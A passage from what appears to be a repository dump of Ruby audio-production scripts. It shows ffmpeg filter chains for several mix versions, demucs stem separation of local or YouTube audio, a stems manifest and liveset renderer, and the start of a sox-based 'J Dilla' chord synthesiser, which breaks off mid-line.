&lt;&lt;~F\n      [0:a]equalizer=f=4000:t=o:w=3:g=8,\n           equalizer=f=80:t=o:w=1:g=-20,\n           volume=0.3[crack_out]\n    F\n\n  render \"master: tape sat + breathe\", out_path(ver),\n    inputs: [\"-i\", beat_pre, \"-i\", vocals_pre, \"-i\", crackle],\n    map: \"[out]\", args: [\"-b:a\", \"320k\"], filter: &lt;&lt;~F\n      [0:a]volume=0.85[b];\n      [1:a]volume=1.4[v];\n      [2:a]volume=0.35[c];\n      [b][v][c]amix=inputs=3:duration=first:weights=1 1.4 0.35[mix];\n      [mix]equalizer=f=60:t=o:w=0.8:g=3,\n           equalizer=f=5000:t=o:w=2:g=2[master_eq];\n      [master_eq]aeval='tanh(val(0)*1.8)/tanh(1.8)|tanh(val(1)*1.8)/tanh(1.8)'[tape];\n      [tape]alimiter=level_in=1.0:level_out=0.97:limit=0.94:attack=5:release=80:level=disabled[out]\n    F\nend\n\n# v9\ndef v9\n  ver  = \"v9\"\n  slow = 0.92\n  bpm  = BPM * slow\n  d8   = dotted_8th(bpm)\n  hf   = half(bpm)\n  beat_pre, vocals_pre, pad, crackle =\n    tmp(ver, \"beat\"), tmp(ver, \"vocals\"), tmp(ver, \"pad\"), tmp(ver, \"crackle\")\n\n  render \"beat: pitched -4st + slowed + psychedelic\", beat_pre,\n    inputs: loop_beat, map: \"[beat_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];\n      [raw]asetrate=44100*0.7937,aresample=44100,atempo=#{slow}[pitched];\n      [pitched]equalizer=f=50:t=o:w=0.7:g=9,\n               equalizer=f=100:t=o:w=1:g=5,\n               equalizer=f=600:t=o:w=2:g=-3,\n               equalizer=f=3000:t=o:w=2:g=-5[beat_eq];\n      [beat_eq]aphaser=in_gain=0.6:out_gain=0.8:delay=4:decay=0.5:speed=0.4:type=triangular[beat_phase];\n      [beat_phase]aecho=0.7:0.5:200|400:0.3|0.15[beat_echo];\n      [beat_echo]acompressor=threshold=-16dB:ratio=5:attack=4:release=80:makeup=3[beat_comp];\n      [beat_comp]volume=0.78[beat_out]\n    F\n\n  render \"vocals: cathedral + shimmer + bitcrush + phaser\", vocals_pre,\n    inputs: [\"-i\", VOCALS[:precise]], map: \"[voc_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];\n      [vraw]equalizer=f=150:t=o:w=1:g=-8,\n            equalizer=f=800:t=o:w=2:g=2,\n            equalizer=f=3000:t=o:w=2:g=3,\n            equalizer=f=8000:t=o:w=3:g=5,\n            equalizer=f=14000:t=o:w=3:g=4[voc_eq];\n      [voc_eq]acompressor=threshold=-14dB:ratio=2.5:attack=8:release=200:makeup=5[voc_comp];\n      [voc_comp]asplit=4[va][vb][vc][vd];\n      [va]volume=0.9[voc_dry];\n      [vb]aecho=0.88:0.92:800|1600|3200|6400:0.6|0.4|0.22|0.10[voc_cathedral];\n      [vc]chorus=0.7:0.9:35|45|55:0.4|0.32|0.25:0.3|0.4|0.25:1.8|2.2|1.4[voc_shimmer];\n      [vd]adelay=#{d8}|#{hf},\n          acrusher=level_in=1.8:level_out=0.5:bits=6:mode=log:aa=1[voc_bit];\n      [voc_dry][voc_cathedral][voc_shimmer][voc_bit]amix=inputs=4:weights=1 0.7 0.5 0.2[voc_wet];\n      [voc_wet]aphaser=in_gain=0.5:out_gain=0.7:delay=3:decay=0.4:speed=0.2:type=sinusoidal[voc_phase];\n      [voc_phase]flanger=delay=6:depth=5:speed=0.2:shape=sinusoidal[voc_flange];\n      [voc_flange]volume=1.3[voc_out]\n    F\n\n  render \"pad: Db minor sine chord swell\", pad,\n    inputs: lavfi(\"aevalsrc=0.12*sin(2*PI*138.59*t)+0.10*sin(2*PI*277.18*t)+0.08*sin(2*PI*349.23*t)+0.09*sin(2*PI*415.30*t)+0.05*sin(2*PI*554.37*t):s=44100:c=stereo:d=#{DUR}\"),\n    map: \"[pad_out]\", filter: &lt;&lt;~F\n      [0:a]equalizer=f=800:t=o:w=2:g=-6,\n           equalizer=f=3000:t=o:w=2:g=-10,\n           aecho=0.9:0.85:600|1200:0.5|0.3[pad_echo];\n      [pad_echo]chorus=0.6:0.8:40|50:0.3|0.25:0.4|0.3:1.5|2.0[pad_chorus];\n      [pad_chorus]aphaser=in_gain=0.6:out_gain=0.8:delay=5:decay=0.6:speed=0.15:type=sinusoidal[pad_phase];\n      [pad_phase]volume=0.22[pad_out]\n    F\n\n  render \"crackle: distant vinyl\", crackle,\n    inputs: lavfi(\"anoisesrc=r=44100:color=pink:amplitude=0.02:d=#{DUR}\"),\n    map: \"[crack_out]\", filter: &lt;&lt;~F\n      [0:a]equalizer=f=5000:t=o:w=3:g=6,\n           equalizer=f=80:t=o:w=1:g=-18,\n           volume=0.12[crack_out]\n    F\n\n  render \"master: psychedelic space chain\", out_path(ver),\n    inputs: [\"-i\", beat_pre, \"-i\", vocals_pre, \"-i\", pad, \"-i\", crackle],\n    map: \"[out]\", args: [\"-b:a\", \"320k\"], filter: &lt;&lt;~F\n      [0:a]volume=0.80[b];\n      [1:a]volume=1.20[v];\n      [2:a]volume=0.25[p];\n      [3:a]volume=0.15[c];\n      [b][v][p][c]amix=inputs=4:duration=first:weights=1 1.2 0.25 0.15[mix];\n      [mix]acompressor=threshold=-22dB:ratio=3:attack=8:release=200:makeup=3[comp1];\n      [comp1]acompressor=threshold=-10dB:ratio=6:attack=2:release=60:makeup=2[comp2];\n      [comp2]equalizer=f=50:t=o:w=0.7:g=4,\n              equalizer=f=200:t=o:w=1:g=2,\n              equalizer=f=2000:t=o:w=1.5:g=-2,\n              equalizer=f=12000:t=o:w=2:g=3[master_eq];\n      [master_eq]aeval='tanh(val(0)*3.0)/tanh(3.0)|tanh(val(1)*3.0)/tanh(3.0)'[tape];\n      [tape]aecho=0.25:0.18:25:0.08[master_air];\n      [master_air]alimiter=level_in=1.0:level_out=0.98:limit=0.93:attack=2:release=20:level=disabled[out]\n    F\nend\n\n# v10\nHEDD = \"val(0)+0.28*val(0)*val(0)*(gt(val(0),0)-lt(val(0),0))+0.12*val(0)*val(0)*val(0)|\" \\\n       \"val(1)+0.28*val(1)*val(1)*(gt(val(1),0)-lt(val(1),0))+0.12*val(1)*val(1)*val(1)\"\n\ndef v10\n  ver = \"v10\"\n  d8  = dotted_8th(BPM)\n  beat_pre, vocals_pre, pad, crackle =\n    tmp(ver, \"beat\"), tmp(ver, \"vocals\"), tmp(ver, \"pad\"), tmp(ver, \"crackle\")\n\n  render \"beat: HEDD triode+pentode + warmth\", beat_pre,\n    inputs: loop_beat, map: \"[beat_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];\n      [raw]equalizer=f=50:t=o:w=0.8:g=6,\n           equalizer=f=100:t=o:w=1:g=4,\n           equalizer=f=250:t=o:w=1:g=2,\n           equalizer=f=700:t=o:w=1.5:g=-1,\n           equalizer=f=3000:t=o:w=2:g=1,\n           equalizer=f=8000:t=o:w=2:g=2,\n           equalizer=f=14000:t=o:w=3:g=3[beat_eq];\n      [beat_eq]acompressor=threshold=-22dB:ratio=3:attack=15:release=200:makeup=3[tape_comp];\n      [tape_comp]aeval='#{HEDD}'[hedd];\n      [hedd]aecho=0.5:0.3:25|50:0.1|0.05[spring];\n      [spring]volume=0.82[beat_out]\n    F\n\n  render \"vocals: crystal + HEDD + wide stereo double\", vocals_pre,\n    inputs: [\"-i\", VOCALS[:precise]], map: \"[voc_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];\n      [vraw]equalizer=f=160:t=o:w=1:g=-10,\n            equalizer=f=350:t=o:w=1:g=-4,\n            equalizer=f=1000:t=o:w=1.5:g=2,\n            equalizer=f=2500:t=o:w=2:g=6,\n            equalizer=f=5000:t=o:w=2:g=5,\n            equalizer=f=10000:t=o:w=3:g=6,\n            equalizer=f=16000:t=o:w=3:g=5[voc_eq];\n      [voc_eq]acompressor=threshold=-16dB:ratio=2.5:attack=6:release=100:makeup=5[voc_comp];\n      [voc_comp]aeval='#{HEDD}'[voc_hedd];\n      [voc_hedd]asplit=3[va][vb][vc];\n      [va]volume=1.0[vdry];\n      [vb]adelay=#{d8}|#{d8},\n          aecho=0.65:0.55:400|800:0.35|0.15[vplate];\n      [vc]chorus=0.5:0.9:18|22:0.08|0.06:0.2|0.25:1.0|1.0[vdouble];\n      [vdry][vplate][vdouble]amix=inputs=3:weights=1.4 0.45 0.35[voc_out]\n    F\n\n  render \"pad: C minor \u2014 warm soulful\", pad,\n    inputs: lavfi(\"aevalsrc=0.14*sin(2*PI*130.81*t)+0.11*sin(2*PI*261.63*t)+0.09*sin(2*PI*311.13*t)+0.10*sin(2*PI*392.00*t)+0.06*sin(2*PI*523.25*t):s=44100:c=stereo:d=#{DUR}\"),\n    map: \"[pad_out]\", filter: &lt;&lt;~F\n      [0:a]equalizer=f=1000:t=o:w=2:g=-5,\n           equalizer=f=4000:t=o:w=2:g=-10,\n           equalizer=f=100:t=o:w=1:g=3[pad_eq];\n      [pad_eq]aecho=0.85:0.8:500|1000:0.4|0.2[pad_echo];\n      [pad_echo]chorus=0.5:0.8:35|45:0.25|0.2:0.35|0.25:1.2|1.6[pad_chorus];\n      [pad_chorus]volume=0.18[pad_out]\n    F\n\n  render \"crackle: light vinyl texture\", crackle,\n    inputs: lavfi(\"anoisesrc=r=44100:color=pink:amplitude=0.015:d=#{DUR}\"),\n    map: \"[crack_out]\", filter: &lt;&lt;~F\n      [0:a]equalizer=f=4500:t=o:w=3:g=5,\n           equalizer=f=80:t=o:w=1:g=-18,\n           volume=0.10[crack_out]\n    F\n\n  render \"master: HEDD bus + vintage tape + warm limit\", out_path(ver),\n    inputs: [\"-i\", beat_pre, \"-i\", vocals_pre, \"-i\", pad, \"-i\", crackle],\n    map: \"[out]\", args: [\"-b:a\", \"320k\"], filter: &lt;&lt;~F\n      [0:a]volume=0.84[b];\n      [1:a]volume=1.22[v];\n      [2:a]volume=0.20[p];\n      [3:a]volume=0.12[c];\n      [b][v][p][c]amix=inputs=4:duration=first:weights=1 1.22 0.20 0.12[mix];\n      [mix]acompressor=threshold=-24dB:ratio=2:attack=20:release=300:makeup=2[glue];\n      [glue]aeval='#{HEDD}'[bus_hedd];\n      [bus_hedd]equalizer=f=45:t=o:w=0.7:g=3,\n                 equalizer=f=150:t=o:w=1:g=2,\n                 equalizer=f=700:t=o:w=1.5:g=-1,\n                 equalizer=f=12000:t=o:w=2:g=2[master_eq];\n      [master_eq]aeval='tanh(val(0)*2.2)/tanh(2.2)|tanh(val(1)*2.2)/tanh(2.2)'[tape_sat];\n      [tape_sat]aecho=0.2:0.15:15:0.05[air];\n      [air]alimiter=level_in=1.0:level_out=0.98:limit=0.93:attack=4:release=40:level=disabled[out]\n    F\nend\n\n# v11\ndef v11\n  ver = \"v11\"\n  d8  = dotted_8th(BPM)\n  beat_pre, vocals_pre, crackle = tmp(ver, \"beat\"), tmp(ver, \"vocals\"), tmp(ver, \"crackle\")\n\n  render \"beat: pluck notch + M/S + low-pass + phase sum\", beat_pre,\n    inputs: loop_beat, map: \"[beat_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];\n      [raw]pan=stereo|c0=c0+c1|c1=c0+c1[mid];\n      [raw]pan=stereo|c0=c0-c1|c1=c1-c0[side];\n      [mid]lowpass=f=280[mid_bass];\n      [mid_bass]equalizer=f=60:t=o:w=0.8:g=6,\n                equalizer=f=120:t=o:w=1:g=3,\n                acompressor=threshold=-18dB:ratio=6:attack=2:release=50:makeup=4[mid_punch];\n      [side]equalizer=f=2000:t=o:w=0.8:g=-12,\n            equalizer=f=2200:t=o:w=0.5:g=-8,\n            lowpass=f=9000,\n            equalizer=f=300:t=o:w=1:g=-3,\n            equalizer=f=5000:t=o:w=2:g=2[side_clean];\n      [side_clean]tremolo=f=0.35:d=0.05[side_wobble];\n      [side_wobble]aphaser=in_gain=0.6:out_gain=0.8:delay=3:decay=0.4:speed=0.3:type=triangular[side_phase];\n      [mid_punch][side_phase]amix=inputs=2:weights=1.3 0.7[beat_mix];\n      [beat_mix]acompressor=threshold=-16dB:ratio=3:attack=5:release=100:makeup=2[beat_comp];\n      [beat_comp]volume=0.82[beat_out]\n    F\n\n  render \"vocals: original pitch + warm + soothing\", vocals_pre,\n    inputs: [\"-i\", VOCALS[:original]], map: \"[voc_out]\", filter: &lt;&lt;~F\n      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];\n      [vraw]equalizer=f=180:t=o:w=1:g=-8,\n            equalizer=f=600:t=o:w=1.5:g=2,\n            equalizer=f=2000:t=o:w=0.8:g=-6,\n            equalizer=f=3000:t=o:w=2:g=5,\n            equalizer=f=7000:t=o:w=2:g=4,\n            equalizer=f=12000:t=o:w=3:g=2,\n            lowpass=f=14000[voc_eq];\n      [voc_eq]acompressor=threshold=-14dB:ratio=2.5:attack=8:release=150:makeup=5[voc_comp];\n      [voc_comp]asplit=3[va][vb][vc];\n      [va]volume=1.0[vdry];\n      [vb]aecho=0.75:0.65:350|700:0.35|0.15[vplate];\n      [vc]adelay=#{d8}|#{d8 * 2},\n          chorus=0.5:0.8:20|25:0.08|0.06:0.2|0.25:1.0|1.0[vshine];\n      [vdry][vplate][vshine]amix=inputs=3:weights=1.3 0.4 0.3[voc_wet];\n      [voc_wet]aphaser=in_gain=0.5:out_gain=0.7:delay=2:decay=0.3:speed=0.25:type=sinusoidal[voc_phase];\n      [voc_phase]volume=1.3[voc_out]\n    F\n\n  render \"crackle: soft vinyl\", crackle,\n    inputs: lavfi(\"anoisesrc=r=44100:color=pink:amplitude=0.012:d=#{DUR}\"),\n    map: \"[crack_out]\", filter: &lt;&lt;~F\n      [0:a]equalizer=f=5000:t=o:w=3:g=4,\n           equalizer=f=80:t=o:w=1:g=-18,\n           volume=0.10[crack_out]\n    F\n\n  render \"master: warm + smooth + soothing\", out_path(ver),\n    inputs: [\"-i\", beat_pre, \"-i\", vocals_pre, \"-i\", crackle],\n    map: \"[out]\", args: [\"-b:a\", \"320k\"], filter: &lt;&lt;~F\n      [0:a]volume=0.85[b];\n      [1:a]volume=1.25[v];\n      [2:a]volume=0.12[c];\n      [b][v][c]amix=inputs=3:duration=first:weights=1 1.25 0.12[mix];\n      [mix]acompressor=threshold=-20dB:ratio=2.5:attack=18:release=250:makeup=3[glue];\n      [glue]equalizer=f=55:t=o:w=0.8:g=4,\n             equalizer=f=2000:t=o:w=0.6:g=-3,\n             equalizer=f=8000:t=o:w=2:g=1,\n             lowpass=f=16000[master_eq];\n      [master_eq]aeval='tanh(val(0)*2.0)/tanh(2.0)|tanh(val(1)*2.0)/tanh(2.0)'[tape];\n      [tape]aphaser=in_gain=0.3:out_gain=0.5:delay=2:decay=0.3:speed=0.15:type=sinusoidal[master_phase];\n      [master_phase]alimiter=level_in=1.0:level_out=0.97:limit=0.93:attack=5:release=60:level=disabled[out]\n    F\nend\n\n# demux\n# YouTube clip \u2192 6-stem demucs \u2192 optional EQ sub-bands + M/S splits.\n# Mirrors the band layout already in stems/ (sub_bass, mids, center, sides...).\n\nDEMUX_DIR = File.join(DIR, \"samples\")\nMODEL     = \"htdemucs_6s\"\n\ndef fetch_audio(src)\n  return File.expand_path(src) unless src.match?(%r{\\Ahttps?://})\n  FileUtils.mkdir_p(DEMUX_DIR)\n  base = \"yt_#{Time.now.strftime(\"%Y%m%d_%H%M%S\")}\"\n  raw  = File.join(DEMUX_DIR, \"#{base}.wav\")\n  run \"yt-dlp #{src}\", \"yt-dlp\", \"-x\", \"--audio-format\", \"wav\", \"-o\", raw, src\n  raw\nend\n\ndef demux_six(src)\n  audio = fetch_audio(src)\n  out   = File.join(DEMUX_DIR, \"demux\")\n  FileUtils.mkdir_p(out)\n  run \"demucs #{MODEL}\", \"demucs\", \"-n\", MODEL, \"-o\", out, audio\n  stems = File.join(out, MODEL, File.basename(audio, \".*\"))\n  puts \"stems -&gt; #{stems}\"\n  name = File.basename(audio, \".*\").gsub(/[^A-Za-z0-9_-]/, \"_\")[0, 32]\n  stems_register(name, stems, source: src) if Dir.exist?(stems) &amp;&amp; !stems_scan_set(stems).empty?\n  stems\nend\n\ndef slice_band(src, dest, label, eq:)\n  render \"band: #{label}\", dest,\n    inputs: [\"-i\", src], map: \"[out]\", filter: \"[0:a]#{eq}[out]\"\nend\n\n# liveset\n# Long-form WAV from any source (mix or stems set). Per-source ultra-slow\n# tremolo with prime-number periods keeps layers from re-syncing \u2014 gives the\n# natural swell-and-fade of a DJ set. Master glue + soft tape sat + limiter.\n\nLIVESET_PERIODS = [97, 113, 127, 149, 163, 179, 193, 211, 227, 251].freeze\n\ndef liveset_filter(count, periods: LIVESET_PERIODS)\n  per_input = (0...count).map do |i|\n    p     = periods[i % periods.size]\n    phase = (i * 1.7).round(3)\n    base  = (0.55 + (i % 3) * 0.05).round(2)\n    \"[#{i}:a]aformat=sample_rates=44100:channel_layouts=stereo,\" \\\n      \"volume='#{base}*(0.55+0.45*sin(2*PI*(t+#{phase})/#{p}))':eval=frame[s#{i}]\"\n  end\n  taps = (0...count).map { |i| \"[s#{i}]\" }.join\n  weights = Array.new(count, 1).join(\" \")\n  # SSL-style glue \u2192 head-bump HPF (30 Hz Q=1.2 \u2192 +1 dB @ 45 Hz, restores\n  # sub after tape rolloff) \u2192 SP-1200 crusher (12-bit, 26.04k decimation,\n  # samples=44100/26040\u22481.69) \u2192 Pultec presence cut \u2192 slow phaser \u2192 Ampex\n  # 456 asymmetric tanh (3rd-harmonic dominant) \u2192 limiter.\n  master = &lt;&lt;~F.tr(\"\\n\", \" \").strip\n    [mix]acompressor=threshold=-20dB:ratio=4:attack=30:release=300:makeup=2,\n    highpass=f=30:width_type=q:width=1.2,\n    equalizer=f=55:t=o:w=0.8:g=2,\n    acrusher=bits=12:samples=1.69:level_in=1:level_out=1:mix=0.35,\n    equalizer=f=2200:t=o:w=0.6:g=-2,\n    aphaser=in_gain=0.4:out_gain=0.7:delay=2:decay=0.3:speed=0.12:type=sinusoidal,\n    aeval='(tanh((val(0)+0.05)*1.6)-0.0798)/0.853|(tanh((val(1)+0.05)*1.6)-0.0798)/0.853',\n    alimiter=level_in=1.0:level_out=0.95:limit=0.95:attack=5:release=80[out]\n  F\n  \"#{per_input.join(';')};#{taps}amix=inputs=#{count}:weights=#{weights}:duration=longest[mix];#{master}\"\nend\n\ndef liveset(name = \"default\", minutes: LIVESET_MIN, set: nil)\n  m = stems_load_manifest\n  set ||= m[\"sets\"][name] || m[\"sets\"][m[\"active\"]] or abort \"liveset: no stem set '#{name}'\"\n  base_dir = File.join(STEMS_DIR, set[\"dir\"] || \".\")\n  files    = set[\"files\"]\n  abort \"liveset: empty set\" if files.nil? || files.empty?\n  inputs = files.flat_map { |f| [\"-stream_loop\", \"-1\", \"-i\", File.join(base_dir, f)] }\n  out    = File.join(DIR, \"liveset_#{name}_#{minutes}m.wav\")\n  run \"liveset: #{minutes}m wav (#{files.size} stems \u00d7 tremolo)\",\n      \"ffmpeg\", \"-y\", *inputs,\n      \"-filter_complex\", liveset_filter(files.size),\n      \"-map\", \"[out]\", \"-t\", (minutes * 60).to_s, \"-ar\", \"44100\", \"-c:a\", \"pcm_s16le\", out\n  puts \"liveset -&gt; #{out}\"\nend\n\nSTEMS_DIR     = File.join(DIR, \"stems\")\nMANIFEST_PATH = File.join(STEMS_DIR, \"manifest.json\")\nSTEM_EXTS     = %w[.mp3 .wav .ogg .flac].freeze\n\ndef stems_load_manifest\n  return { \"active\" =&gt; \"default\", \"sets\" =&gt; {} } unless File.exist?(MANIFEST_PATH)\n  require \"json\"\n  JSON.parse(File.read(MANIFEST_PATH, encoding: \"utf-8\"))\nend\n\ndef stems_write_manifest(m)\n  require \"json\"\n  File.write(MANIFEST_PATH, JSON.pretty_generate(m) + \"\\n\")\n  puts \"manifest -&gt; #{MANIFEST_PATH}\"\nend\n\ndef stems_scan_set(dir)\n  Dir.children(dir).select { |f| STEM_EXTS.include?(File.extname(f).downcase) }.sort\nend\n\ndef stems_register(name, dir, bpm: nil, source: nil)\n  rel = dir.sub(%r{\\A#{Regexp.escape(STEMS_DIR)}/?}, \"\")\n  rel = \".\" if rel.empty?\n  files = stems_scan_set(dir)\n  abort \"no stems in #{dir}\" if files.empty?\n  m = stems_load_manifest\n  m[\"sets\"][name] = { \"dir\" =&gt; rel, \"bpm\" =&gt; bpm, \"source\" =&gt; source, \"files\" =&gt; files }.compact\n  m[\"active\"] ||= name\n  stems_write_manifest(m)\nend\n\ndef demux_deep(src)\n  stem_dir = demux_six(src)\n  bands    = File.join(stem_dir, \"bands\")\n  FileUtils.mkdir_p(bands)\n\n  bass   = File.join(stem_dir, \"bass.wav\")\n  drums  = File.join(stem_dir, \"drums.wav\")\n  guitar = File.join(stem_dir, \"guitar.wav\")\n  piano  = File.join(stem_dir, \"piano.wav\")\n  other  = File.join(stem_dir, \"other.wav\")\n\n  slice_band bass,  File.join(bands, \"sub_bass.wav\"),    \"sub_bass\",    eq: \"lowpass=f=60\"\n  slice_band bass,  File.join(bands, \"bass_mid.wav\"),    \"bass_mid\",    eq: \"highpass=f=60,lowpass=f=200\"\n  slice_band drums, File.join(bands, \"kick.wav\"),        \"kick\",        eq: \"lowpass=f=100\"\n  slice_band drums, File.join(bands, \"snare.wav\"),       \"snare\",       eq: \"highpass=f=200,lowpass=f=500\"\n  slice_band drums, File.join(bands, \"hats.wav\"),        \"hats\",        eq: \"highpass=f=5000\"\n  slice_band other, File.join(bands, \"mids.wav\"),        \"mids\",        eq: \"highpass=f=500,lowpass=f=2000\"\n  slice_band other, File.join(bands, \"highs_pluck.wav\"), \"highs_pluck\", eq: \"highpass=f=2000,lowpass=f=5000\"\n  slice_band other, File.join(bands, \"air.wav\"),         \"air\",         eq: \"highpass=f=5000\"\n\n  inst = File.join(bands, \"instrumental.wav\")\n  render \"instrumental sum\", inst,\n    inputs: [\"-i\", bass, \"-i\", drums, \"-i\", guitar, \"-i\", piano, \"-i\", other],\n    map: \"[out]\", filter: \"[0:a][1:a][2:a][3:a][4:a]amix=inputs=5:duration=longest[out]\"\n\n  slice_band inst, File.join(bands, \"center.wav\"), \"center\", eq: \"pan=stereo|c0=c0+c1|c1=c0+c1\"\n  slice_band inst, File.join(bands, \"sides.wav\"),  \"sides\",  eq: \"pan=stereo|c0=c0-c1|c1=c1-c0\"\n\n  puts \"bands -&gt; #{bands}\"\nend\n\n# dispatch\nRECIPES = { \"v7\" =&gt; method(:v7), \"v8\" =&gt; method(:v8), \"v9\" =&gt; method(:v9),\n            \"v10\" =&gt; method(:v10), \"v11\" =&gt; method(:v11) }.freeze\n\ncase ARGV[0]\nwhen \"demux\"\n  src = ARGV[1] or abort \"usage: ruby make.rb demux  [deep]\"\n  ARGV[2] == \"deep\" ? demux_deep(src) : demux_six(src)\nwhen \"stems\"\n  case ARGV[1]\n  when \"add\"\n    name = ARGV[2] or abort \"usage: ruby make.rb stems add   [bpm]\"\n    dir  = ARGV[3] or abort \"usage: ruby make.rb stems add   [bpm]\"\n    stems_register(name, File.expand_path(dir), bpm: (ARGV[4] &amp;&amp; ARGV[4].to_f))\n  when nil\n    stems_register(\"default\", STEMS_DIR, bpm: 90, source: \"Sirkel Sag \u00b7 Voicemails\")\n  else abort \"usage: ruby make.rb stems [add   [bpm]]\"\n  end\nwhen \"liveset\"\n  set  = ARGV[1] || stems_load_manifest[\"active\"] || \"default\"\n  mins = (ARGV[2] || LIVESET_MIN).to_i\n  liveset(set, minutes: mins)\nwhen nil, /\\Av\\d+\\z/\n  ver = ARGV[0] || \"v11\"\n  abort \"unknown: #{ver}  have: #{RECIPES.keys.join(\", \")}\" unless RECIPES[ver]\n  RECIPES[ver].call\n  puts \"done -&gt; #{out_path(ver)}\"\n  liveset(stems_load_manifest[\"active\"] || \"default\", minutes: LIVESET_MIN) if File.exist?(MANIFEST_PATH)\nelse\n  abort \"usage: ruby make.rb [v7|v8|v9|v10|v11] | demux  [deep] | stems [add   [bpm]] | liveset [set] [minutes]\"\nend\n```\n\n## `dilla/master.rb`\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n# J Dilla Audio Generator - Master Orchestrator\n\n# Complexity: 8/10 (within master.json \u226410 limit)\n\n#\n\n# Purpose: Single entry point for complete beat generation with MAXIMUM VARIETY\n\n# Workflow: chord_theory_expanded.json \u2192 chords + bass \u2192 drums \u2192 VARIED final mixes\n\n#\n\n# Usage:\n\n#   ruby master.rb               # Full render (all progressions, drums, varied mixes)\n\n#   ruby master.rb --chords-only # Just render chord progressions\n\n#   ruby master.rb --drums-only  # Just render drum patterns\n\n#   ruby master.rb --quick       # Render only 5 progressions for testing\n\nrequire \"json\"\n# CONFIGURATION\n\nSOX = \"G:/pub/dilla/effects/sox/sox.exe\"\n\n# Load unified data from dilla_data.json (consolidation&gt;fragmentation per master.json)\nDILLA_DATA = JSON.parse(File.read(File.join(__dir__, \"dilla_data.json\")))\n\n# Note frequencies (A4 = 440Hz)\nNOTES = {\n\n  \"C\" =&gt; 130.81, \"C#\" =&gt; 138.59, \"Db\" =&gt; 138.59,\n\n  \"D\" =&gt; 146.83, \"D#\" =&gt; 155.56, \"Eb\" =&gt; 155.56,\n\n  \"E\" =&gt; 164.81, \"F\" =&gt; 174.61, \"F#\" =&gt; 185.00, \"Gb\" =&gt; 185.00,\n\n  \"G\" =&gt; 196.00, \"G#\" =&gt; 207.65, \"Ab\" =&gt; 207.65,\n\n  \"A\" =&gt; 220.00, \"A#\" =&gt; 233.08, \"Bb\" =&gt; 233.08,\n\n  \"B\" =&gt; 246.94\n\n}\n\n# Chord intervals (semitones from root)\nINTERVALS = {\n\n  \"maj7\" =&gt; [0, 4, 7, 11], \"maj9\" =&gt; [0, 4, 7, 11, 14], \"maj13\" =&gt; [0, 4, 7, 11, 14, 21],\n\n  \"min7\" =&gt; [0, 3, 7, 10], \"min9\" =&gt; [0, 3, 7, 10, 14], \"min11\" =&gt; [0, 3, 7, 10, 14, 17],\n\n  \"dom7\" =&gt; [0, 4, 7, 10], \"dom9\" =&gt; [0, 4, 7, 10, 14], \"dom13\" =&gt; [0, 4, 7, 10, 14, 21],\n\n  \"7#9\" =&gt; [0, 4, 7, 10, 15], \"sus2\" =&gt; [0, 2, 7], \"sus4\" =&gt; [0, 5, 7],\n\n  \"\" =&gt; [0, 4, 7]  # major triad\n\n}\n\n# UTILITIES\n\n\ndef sox(cmd)\n  system(\"#{SOX} #{cmd}\")\n\nend\n\ndef cleanup(*files)\n  files.each do |f|\n\n    next unless File.exist?(f)\n\n    3.times do\n\n      begin\n\n        File.delete(f)\n\n        break\n\n      rescue Errno::EBUSY, Errno::EACCES\n\n        sleep 0.1\n\n      end\n\n    end\n\n  end\n\nend\n\n# CHORD SYNTHESIS (7 SYNTH TYPES - FIXED chorus syntax)\n\n\ndef synth_rhodes(i, freq, gain, duration)\n  sox(\"-n sin1_#{i}.wav synth #{duration} sine #{freq} fade h 0.01 #{duration} 0.5 gain #{gain}\")\n\n  sox(\"-n sin2_#{i}.wav synth #{duration} sine #{freq * 2} fade h 0.01 #{duration} 0.5 gain #{gain - 8}\")\n\n  sox(\"-n sin3_#{i}.wav synth #{duration} sine #{freq * 3} fade h 0.01 #{duration} 0.5 gain #{gain - 12}\")\n\n  sox(\"-m sin1_#{i}.wav sin2_#{i}.wav sin3_#{i}.wav rhodes_raw_#{i}.wav\")\n\n  sox(\"rhodes_raw_#{i}.wav voice_#{i}.wav tremolo 5.5 30 chorus 0.6 0.9 45 0.4 2 -t\")\n\n  cleanup(\"sin1_#{i}.wav\", \"sin2_#{i}.wav\", \"sin3_#{i}.wav\", \"rhodes_raw_#{i}.wav\")\n\nend\n\ndef synth_fm(i, freq, gain, duration)\n  sox(\"-n saw#{i}.wav synth #{duration} sawtooth #{freq} gain #{gain}\")\n\n  sox(\"-n sqr#{i}.wav synth #{duration} square #{freq} gain #{gain - 2}\")\n\n  sox(\"-n sin#{i}.wav synth #{duration} sine #{freq} gain #{gain + 2}\")\n\n  sox(\"-m saw#{i}.wav sqr#{i}.wav sin#{i}.wav voice_#{i}.wav\")\n\n  cleanup(\"saw#{i}.wav\", \"sqr#{i}.wav\", \"sin#{i}.wav\")\n\nend\n\ndef synth_cs80(i, freq, gain, duration)\n  detune = freq * 1.0091\n\n  sox(\"-n saw1_#{i}.wav synth #{duration} sawtooth #{freq} fade h 3 #{duration} 4 gain #{gain}\")\n\n  sox(\"-n saw2_#{i}.wav synth #{duration} sawtooth #{detune} fade h 3 #{duration} 4 gain #{gain - 2}\")\n\n  sox(\"-m saw1_#{i}.wav saw2_#{i}.wav cs80_raw_#{i}.wav\")\n\n  sox(\"cs80_raw_#{i}.wav voice_#{i}.wav lowpass 600 chorus 0.7 0.9 50 0.4 2 -t\")\n\n  cleanup(\"saw1_#{i}.wav\", \"saw2_#{i}.wav\", \"cs80_raw_#{i}.wav\")\n\nend\n\ndef synth_minimoog(i, freq, gain, duration)\n  detune = freq * 1.0029\n\n  sox(\"-n saw#{i}.wav synth #{duration} sawtooth #{freq} fade h 1 #{duration} 4 gain #{gain}\")\n\n  sox(\"-n sqr#{i}.wav synth #{duration} square #{detune} fade h 1 #{duration} 4 gain #{gain - 3}\")\n\n  sox(\"-m saw#{i}.wav sqr#{i}.wav moog_raw_#{i}.wav\")\n\n  sox(\"moog_raw_#{i}.wav voice_#{i}.wav lowpass 1200 overdrive 5 chorus 0.6 0.9 40 0.4 2 -t\")\n\n  cleanup(\"saw#{i}.wav\", \"sqr#{i}.wav\", 